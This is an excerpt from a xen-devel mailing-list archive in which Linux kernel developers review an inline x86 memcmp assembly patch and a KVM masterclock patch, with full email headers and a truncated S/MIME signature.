+    if (qemu_in_coroutine()) {
         yield_until_fd_readable(comp_channel->fd);
     } else {
         /* This is the source side, we're in a separate thread

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 10:27:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 10:27:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370636.1618711 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZbW-0007bk-PF; Sat, 25 Jul 2026 10:27:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370636.1618711; Sat, 25 Jul 2026 10:27:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZbW-0007bd-Md; Sat, 25 Jul 2026 10:27:38 +0000
Received: by outflank-mailman (input) for mailman id 1370636;
 Sat, 25 Jul 2026 10:27:37 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <david.laight.linux@gmail.com>) id 1wnZbV-0007Yt-8X
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 10:27:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZbU-006CtV-Lq
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 12:27:36 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <david.laight.linux@gmail.com>)
 id 6a648f6c-2eae-0a2a0a5409dd-0a2a4505d4e0-26
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 12:27:36 +0200
Received: from [209.85.221.41] (helo=mail-wr1-f41.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <david.laight.linux@gmail.com>)
 id 6a648f98-4cb1-0a2a45050019-d155dd29b170-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 12:27:36 +0200
Received: by mail-wr1-f41.google.com with SMTP id
 ffacd0b85a97d-47ddf7b09aaso638668f8f.3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 03:27:36 -0700 (PDT)
Received: from pumpkin (82-69-66-36.dsl.in-addr.zen.co.uk. [82.69.66.36])
 by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f96d4656bsm14009416f8f.21.2026.07.25.03.27.35
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 25 Jul 2026 03:27:35 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784975256; x=1785580056; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:subject:cc:to:from:date:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=8BxK+ALhcOgn9zRWf8zuaedc6Ta5UI4jKqzNhpJjiik=;
        b=nU5AmF05Cx29pN3Y7qdcoa2Y0sfeNZZzIrC1Sy7HsqA349dYg83OmTX1kaMBrGNiIy
         7HpnGNGgoPW1RxOCYbYgeYWah2AlhvUnKfLD82z75rTYwqvQFM4ttEixNaeFPX6aGWCt
         glGXXYU8283VH2eWjLtj2vtZbMj0RdWl2TlRS7XzQ3PvP1ZKzlcfVEkX4fiSeL0fcd35
         bYFEJ5iUpFacVIdryHJoONYTtn22+olSXDnsq0wNTRjEVhl8YNwPVvsiIENuVemFs5zQ
         DGATMSv1kD5V75xxt4kUq6xU1358xHxtYNLqEQDcL3gM/jiM96OhhDO2d5Z98pAq4GpX
         iX1g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784975256; x=1785580056;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:subject:cc:to:from:date:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=8BxK+ALhcOgn9zRWf8zuaedc6Ta5UI4jKqzNhpJjiik=;
        b=h5VY2DBc605mnssdiUVcKOwSKOW/hvsbqnMKFOOvGYiFh4XqcNBPtZo3tPZ/iuqjMZ
         j9M1gHEREipNqPnS0/SmwevLOpc1GGv54wZPwjlBuLOmJNeEQOxEurfo2UaOQTc4qZ7c
         NgUcJL4zDBFPix6Qw19/jJdch4+fthSnUYRVXv1C5aTFp+WvlIn6hHpifOkqgKwlMv4Q
         nPU2i3mkKCm158+Y5jJ5eb1pY9b6fxXn1jybW7kFL76AahpZ32zoxd2wl3zwqvR/KKBA
         JvHkRGfP9PLZD1zkHZ+YcPqpIfngGtvNLP8AcNaOREXhpDdI72tWWirjNbDU/4/j8a1t
         m3pw==
X-Forwarded-Encrypted: i=1; AHgh+Rq1LpbKyaK/1fRCg0iHQDqQzYNLV9tm+4finFXEmeQro7vbUcI2S1GSqVlEgtqCo2mEr7TAzlF2VzI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwxDAmJTnwYsagN1IPh8zyGr3K90SsqO6LNdUtaJ+XDgEN6c8Vj
	gFsBKKBaoxhUIvlg4K3ybwqLR4qOZQpH/zc1mo0Beh25Fm4i5GC5RJZN
X-Gm-Gg: AR+sD13Lpqk4le+1yOI+9Z6xD4WGA/8SSzz0XzpTsJVgVdF3tELrgVdmdcGVkw++bY6
	X/gAssMYcJ3lEMlJ9TjvmemxrRIWp7teSort7FvnuNwVLzprdhk3i6JYrMS9nEzhruJVqFQXtEn
	EBSnujnkibbfxXqIQdBd8CeiwYejqbRowm5MJJarrU03pqmfDqX1BQfTZYsvL6y1TSEQVrWsUGz
	ewbIJffqgMf+vny6CkkUFsWYfJilmHqLAZpia/VMsflX2zVS0jV/Ka53Fsqgiu/HolcpgjP/YEL
	cYXQBUWSd/iJfm50ifasjBccg3N6vnJqF9CC59/63YuHr3pie8al7fclzGcQVNTSY70CXc3XwDx
	n6Wy6mjW6xrfvDRdenjLPv65wWWrZ9FfG0RfC8pyJfIqmqBMxLsktrOKvhXJXRRyef2h/GbcJt6
	Hiz+3cZs9tsTMnUZA8T5xf+K7SxLSrPq24QCg1rNs=
X-Received: by 2002:a05:6000:24c5:b0:47f:8cfd:d383 with SMTP id ffacd0b85a97d-47f9fea737dmr1968001f8f.52.1784975255950;
        Sat, 25 Jul 2026 03:27:35 -0700 (PDT)
Date: Sat, 25 Jul 2026 11:27:34 +0100
From: David Laight <david.laight.linux@gmail.com>
To: "H. Peter Anvin" <hpa@zytor.com>
Cc: Mauricio Faria de Oliveira <mfo@igalia.com>, Borislav Petkov
 <bp@alien8.de>, Jan Beulich <jbeulich@suse.com>, Thomas Gleixner
 <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Dave Hansen
 <dave.hansen@linux.intel.com>, x86@kernel.org, Juergen Gross
 <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, Boris Ostrovsky
 <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
 linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
Message-ID: <20260725112734.2c65f37e@pumpkin>
In-Reply-To: <f616c114-2727-435a-97f7-57ee6b0b60e4@zytor.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
	<20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
	<20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
	<0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
	<4daed8ac-b533-436f-9f86-6d297b87abbb@suse.com>
	<5e19b195-0ca2-4510-81cb-497b40e4aaf5@zytor.com>
	<8df0340f0dc7f6c303c6a7da78fad7b8@igalia.com>
	<7148BD5B-2E06-4137-B361-18AAF329DDC5@zytor.com>
	<348133f5-8a78-4805-bf0a-b1b08cdc65f2@zytor.com>
	<e52ff0fa-ee19-45e3-9b45-573ec3c5da24@zytor.com>
	<f616c114-2727-435a-97f7-57ee6b0b60e4@zytor.com>
X-Mailer: Claws Mail 4.1.1 (GTK 3.24.38; arm-unknown-linux-gnueabihf)
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784975256-245122A1-8E5E0663/0/0
X-purgate-type: clean
X-purgate-size: 1784

On Fri, 24 Jul 2026 17:25:21 -0700
"H. Peter Anvin" <hpa@zytor.com> wrote:

> On 2026-07-24 16:57, H. Peter Anvin wrote:
> > 
> > And of course I got the comparison backwards (negative means a < b, thus we
> > want a - b not b - a). Here is a fixed version.
> > 
> > int memcmp(const void *a, const void *b, size_t size)
> > {
> >         int diff;
> > 
> >         asm volatile("xor %0,%0 ;"      /* Sets ZF for the size = 0 case */
> >                      "repe cmpsb ;"
> >                      "jz 1f ;"          /* When size = 0 loading is unsafe */
> >                      "movb -1(%1),%b0 ;"
> >                      "movzbl -1(%2),%k2 ;"
> >                      "sub %k2,%0 ;"
> >                      "1:"
> >                      : "=&q" (diff), "+D" (a), "+S" (b), "+c" (size)
> >                      : : "memory");
> >         return diff;
> > }
> >   
> For extra credit, this version is even smaller in 16- and 32-bit mode, but
> larger in 64-bit mode (because it depends on the order of the CMPSB operands,

The function is inlined, so it will make no difference.

	David

> which is the inverse of what the x86-64 ABI expects; swapping the order of "a"
> and "b" and adding a cmc instruction improves the x86-64 size, but 64 bits is
> not where the really tight code is...)
> 
> int memcmp(const void *a, const void *b, size_t size)
> {
>         int diff;
> 
>         asm volatile("xor %0,%0 ;"
>                      "repe cmpsb ;"
>                      "jz 1f ;"
>                      "sbb %0,%0 ;"
>                      "or $1,%0 ;"
>                      "1:"
>                      : "=&r" (diff), "+S" (a), "+D" (b), "+c" (size)
>                      : : "memory");
>         return diff;
> }
> 
> 



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 10:34:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 10:34:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370646.1618720 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZiU-0001bD-F2; Sat, 25 Jul 2026 10:34:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370646.1618720; Sat, 25 Jul 2026 10:34:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZiU-0001b6-C4; Sat, 25 Jul 2026 10:34:50 +0000
Received: by outflank-mailman (input) for mailman id 1370646;
 Sat, 25 Jul 2026 10:34:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <david.laight.linux@gmail.com>) id 1wnZiT-0001b0-DX
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 10:34:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZiS-003ASq-JP
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 12:34:48 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <david.laight.linux@gmail.com>)
 id 6a649114-5cb7-0a2a0a5109dd-0a2a45089526-32
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 12:34:48 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <david.laight.linux@gmail.com>)
 id 6a649148-f659-0a2a45080019-d1558029c51b-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 12:34:48 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-4954c0833b4so9408425e9.1
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 03:34:48 -0700 (PDT)
Received: from pumpkin (82-69-66-36.dsl.in-addr.zen.co.uk. [82.69.66.36])
 by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496b4f302f8sm53865865e9.12.2026.07.25.03.34.46
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 25 Jul 2026 03:34:46 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784975688; x=1785580488; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:subject:cc:to:from:date:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=lPQ1yd3wvQrSfjKjwB6za0d4edq1Z4RYR+4kmUZXqy8=;
        b=JSnRxBFThgYx7qiqcTk0zsxTuoCFQ1mrIthldfXdkk/3vbeP7C3UkthesZkw2WhGp4
         mAWbj22Hz73vo63LczphBiMztczl6+KPOphqzHetK6nJE9RxIDTuzZJ1aNhuK1tGNH9M
         EqrsewV56v0iEXLIMR35gU4dbkUa0ceryOMk6DWTPK26t9IfjGqdgWFYk3t5Pdb0ZREu
         PAHz6Z0bUUHoch4lBcol/hhTPj+FIwIUCwDjOHDGVRml5wy+5Njhk17EB0XzGXUkaPtw
         QvJmIt6LjX//ypBDpGvZH3sEGRmzqr2pHVAWzYGW49nAWdUM6K6bsbCK9d2hFFk9Pk7K
         /Yug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784975688; x=1785580488;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:subject:cc:to:from:date:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=lPQ1yd3wvQrSfjKjwB6za0d4edq1Z4RYR+4kmUZXqy8=;
        b=kdfm6nJQcGQ2snPCUVmLbeoyYdn2SI+OSp8rPw60KW361XDdfoah+PrWmSZ3f10FZo
         bU/ZfI3reBLqVRDau1s+GtS+a8hazJQGWan6cZaN2yrFwY1RKncqIFRP3CvUupjOUNmU
         5/Sz1EKE99KArIFyZq9VppiaP+IbnQ2Xa6myka+djiBrJ3aD8txo2C3CBjqi6JU3KTBG
         2jQT+JmOSmt0fCDr23/pIlxxnrz+lsMhWlXseJalbaELGqvYWAhVc7dcHfUStY/DNG+6
         CLONcWGxcKHsBwMcw/NfEokQgFWLBV2XOPZbbpI2tgrwGSJme88aPhODTx1LCiDuxob/
         PJuA==
X-Forwarded-Encrypted: i=1; AHgh+RrJOQP17/FzEezgEtbbvr+FJ7R5we5BVBgtW0QNCzA46b/EDFqBPqNmGp0avucMhwXaO7b3dcVo6R4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxzGVVe1DpzeA4aBAzlVF/kVWNshGUe1slUf6/gYPnbZ0XO+3Ae
	2qbQNsc0zIl7X/ZLepBgZkbvj0vbSuyGhtaxgKok87a7Mma13KOebdnk
X-Gm-Gg: AR+sD10UkmQezlaCwQqhKDaQ/79Ur9d7tnYqryOnsqoJIxWQz3Nl28iGunjGn7lg+Ov
	83WRDIjaKrivm14lgRdDjvLDb4BVO8+neiAHO5MZEcmseX42ypO31SCX+8kSYjxibygbZy8I5PX
	g1HvaZy0wPnb9YSez1Qq4uMuDo0HTapjZhxPXxxc8zEO5NLi9wubPrcX7EY213vDkxRD+Tnma8B
	fTryBWf9BPuDYyry/2bVqgv5xeOiDdV6LHQgSL3PpttU9lw54VxbfoLbxO5dErZ5S6ZLPf5WdKZ
	BuBt+nAJ9wFDWztIyGoVWFuIDXS2nnBGO5lsWikgPo0W7tsL7JBkQYWuqbPfFxpUdfOmEt5SX5m
	SLsxENOCS2nWM9jxXJetx3+YaKtJBWxCR+OGSN02k0nwT9VG9DWC8ibf+788JYuY3H7+N02B0IO
	lVZ+DEX0r6yNmzidvN+SHrlL7DP1arJHTA7VrbZ5pwdOjFDmBIrA==
X-Received: by 2002:a05:600c:3509:b0:493:b87c:c87d with SMTP id 5b1f17b1804b1-496b56f3607mr21539045e9.11.1784975687659;
        Sat, 25 Jul 2026 03:34:47 -0700 (PDT)
Date: Sat, 25 Jul 2026 11:34:45 +0100
From: David Laight <david.laight.linux@gmail.com>
To: Brian Gerst <brgerst@gmail.com>
Cc: "H. Peter Anvin" <hpa@zytor.com>, Borislav Petkov <bp@alien8.de>,
 Mauricio Faria de Oliveira <mfo@igalia.com>, Thomas Gleixner
 <tglx@kernel.org>, Ingo Molnar <mingo@redhat.com>, Dave Hansen
 <dave.hansen@linux.intel.com>, x86@kernel.org, Juergen Gross
 <jgross@suse.com>, Alexey Dobriyan <adobriyan@gmail.com>, Boris Ostrovsky
 <boris.ostrovsky@oracle.com>, kernel-dev@igalia.com,
 linux-kernel@vger.kernel.org, xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
Message-ID: <20260725113445.14ccf42f@pumpkin>
In-Reply-To: <CAMzpN2hdw60=Un+mAFS5CEQqDRZ-d3fMogEwE4NxUe75P-GfSA@mail.gmail.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
	<20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
	<20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
	<0F3A1121-208F-4F71-8C88-BEAE7CB50E75@zytor.com>
	<CAMzpN2hyupAUk-XGRzM2wwQojPrsN66jWtT+saVf1NWdOzFXuw@mail.gmail.com>
	<2f22094d-b8c5-46ec-92b9-dd6752a8dc2e@zytor.com>
	<CAMzpN2hdw60=Un+mAFS5CEQqDRZ-d3fMogEwE4NxUe75P-GfSA@mail.gmail.com>
X-Mailer: Claws Mail 4.1.1 (GTK 3.24.38; arm-unknown-linux-gnueabihf)
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1784975688-D694287B-488BAD8C/0/0
X-purgate-type: clean
X-purgate-size: 781

On Thu, 23 Jul 2026 20:49:13 -0400
Brian Gerst <brgerst@gmail.com> wrote:

...
> I had originally thought that the test for RCX==0 was also at the end
> of the loop, after the decrement.  But a closer look at the
> pseudo-code in the SDM does show that the test is at the start of the
> loop.  Starting with RCX==0 does indeed skip the comparison and does
> not touch ZF.  Your suggestion is good, but should have a comment
> explaining why it's there to someone reading the code in the future.

I have a feeling that was a change between the 8086 and 80286.
I don't have an 8086 book (any more) but I'm sure I remember fixing
bugs where %cx of zero caused 65536 iterations.
(Fun to find because the vector table is 'first in the line to be
overwritten.)

	David


From xen-devel-bounces@lists.xenproject.org Sat Jul 25 12:45:46 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 12:45:46 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370688.1618729 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnbkx-0002M5-Ew; Sat, 25 Jul 2026 12:45:31 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370688.1618729; Sat, 25 Jul 2026 12:45:31 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnbkx-0002Lu-9t; Sat, 25 Jul 2026 12:45:31 +0000
Received: by outflank-mailman (input) for mailman id 1370688;
 Sat, 25 Jul 2026 12:45:30 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 1wnbkt-0002Ln-Jw
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 12:45:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnbks-00GW7i-1N; Sat, 25 Jul 2026 14:45:26 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a64af9f-e002-0a2a0a5209dd-0a2a4502a912-30
 for <multiple-recipients>; Sat, 25 Jul 2026 14:45:25 +0200
Received: from [90.155.50.34] (helo=casper.infradead.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <BATV+5c502c0e710a0fe11638+8371+infradead.org+dwmw2@casper.srs.infradead.org>)
 id 6a64afe4-6ca4-0a2a45020019-5a9b32228dbe-3
 for <multiple-recipients>; Sat, 25 Jul 2026 14:45:25 +0200
Received: from [2001:8b0:10b:5:5b17:8d34:712e:739e]
 (helo=u09cd745991455d.ant.amazon.com)
 by casper.infradead.org with esmtpsa (Exim 4.99.1 #2 (Red Hat Linux))
 id 1wnbkb-00000006Ehn-48CJ; Sat, 25 Jul 2026 12:45:10 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=casper.20170209 header.d=infradead.org header.i="@infradead.org" header.h="MIME-Version:Content-Type:References:In-Reply-To:Date:Cc:To:From:Subject:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=casper.20170209; h=MIME-Version:Content-Type:References:
	In-Reply-To:Date:Cc:To:From:Subject:Message-ID:Sender:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description;
	bh=RwxggY9gc4GcZC2isiDohJMCFxWLehVGr+89zjMBUrI=; b=kjm0Xt9fUmW5uRkGi3EtVs6lug
	ZwKZMp9rAtnGaL5ahc4W8og938J1F1zxNf+DJ/caiUSPQ4aq7OhllcAE6+1wq81lPNuBigi1Ymdbc
	jWsQjsUZMnJC2IyVmGGSi6Ze1S5M7ARR1xPmJOjRdGpESlNH1GXPiBQkEsFbsuu04ZkAuS/JVAf2I
	5HDqKWOPGHSHYeKoZZmmshnWg046Hh20cQ3Nm+haCrMfTnRk+CLcoqBY7tA3Y4BaAjoMgKUE7slz3
	NP8uHoUy6gfj+H2IMJeVls4i/B9Zvc3YAlPUwfTI0MUeFuDrTtEUCvVZ5oo6Q8cigapXWyiVNlQWY
	9Zcji1JA==;
Message-ID: <fd367b54511b52d891d8a50883ac05731150885e.camel@infradead.org>
Subject: Re: [PATCH v6 08/36] KVM: x86: Activate master clock immediately on
 vCPU creation
From: David Woodhouse <dwmw2@infradead.org>
To: Sean Christopherson <seanjc@google.com>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
 Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>,  Borislav Petkov	 <bp@alien8.de>, Dave
 Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, "H. Peter Anvin"	
 <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross	
 <jgross@suse.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul
 Durrant	 <paul@xen.org>, Jonathan Cameron <jic23@kernel.org>, Sascha
 Bischoff	 <Sascha.Bischoff@arm.com>, Marc Zyngier <maz@kernel.org>, Joey
 Gouly	 <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, Dongli
 Zhang	 <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Date: Sat, 25 Jul 2026 13:45:08 +0100
In-Reply-To: <06561667eee52c40ef4587fcc11f6bf964ce40bf.camel@infradead.org>
References: <20260703212145.343527-1-dwmw2@infradead.org>
		 <20260703212145.343527-9-dwmw2@infradead.org>
	 <amPW1eAPpUuxLoj_@google.com>
	 <06561667eee52c40ef4587fcc11f6bf964ce40bf.camel@infradead.org>
Content-Type: multipart/signed; micalg="sha-256"; protocol="application/pkcs7-signature";
	boundary="=-9FZybFZZ3b5dnuxm+p2R"
User-Agent: Evolution 3.60.3-0ubuntu1~ppa9~24.04 
MIME-Version: 1.0
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by casper.infradead.org. See http://www.infradead.org/rpr.html
X-purgate-ID: tlsNG-720697/1784983525-F34BE2AC-8BF21A71/0/0
X-purgate-type: clean
X-purgate-size: 9742


--=-9FZybFZZ3b5dnuxm+p2R
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

On Sat, 2026-07-25 at 08:59 +0100, David Woodhouse wrote:
>=20
> > Any reason this can't be?
> >=20
> > =C2=A0	if (kvm_check_request(KVM_REQ_MASTERCLOCK_UPDATE, vcpu))
> > =C2=A0		kvm_update_masterclock(vcpu->kvm);
> >=20
> > > +		kvm_update_masterclock(vcpu->kvm);
> >=20
> > I don't love doing work outside of KVM_RUN that is typically handled by=
 KVM_RUN,
> > but this seems fine?
>=20
> I think I tried that first and it didn't work because
> KVM_REQ_MASTERCLOCK_UPDATE wasn't actually set yet. I remember going
> round in circles a few times here. I'll take another look.
>=20

On the other hand... I rip it out in patch 36 anyway, in favour of the
cleaner answer that is available once I've cleaned up the rest of the
masterclock stuff.

But I wanted this to be earlier in the series as it does fix things for
the selftests which get introduced along the way. Otherwise we have to
run the vCPU once to set the clocks up.

--=-9FZybFZZ3b5dnuxm+p2R
Content-Type: application/pkcs7-signature; name="smime.p7s"
Content-Disposition: attachment; filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCE8Ew
ggWvMIIEl6ADAgECAhANkOKMSmGXhF5eMl0rsRhvMA0GCSqGSIb3DQEBDAUAMGUxCzAJBgNVBAYT
AlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xJDAi
BgNVBAMTG0RpZ2lDZXJ0IEFzc3VyZWQgSUQgUm9vdCBHMjAeFw0yNDAzMTMwMDAwMDBaFw0zNDAz
MTIyMzU5NTlaMGIxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5EaWdpQ2VydCwgSW5jLjE6MDgGA1UE
AxMxRGlnaUNlcnQgQXNzdXJlZCBHMiBTTUlNRSBSU0E0MDk2IFNIQTM4NCAyMDI0IENBMTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAOfSIeC0vv1xPQ+dgSxbIIrkaru6skAWJYaGFzmv
q4Kq+2wU2jxhcWlJg/JeP5jEkq/LM3pn5aaLao79j+XRmS7J1ZpJKUODJVoM4s9MQJhTMvo4qS5Z
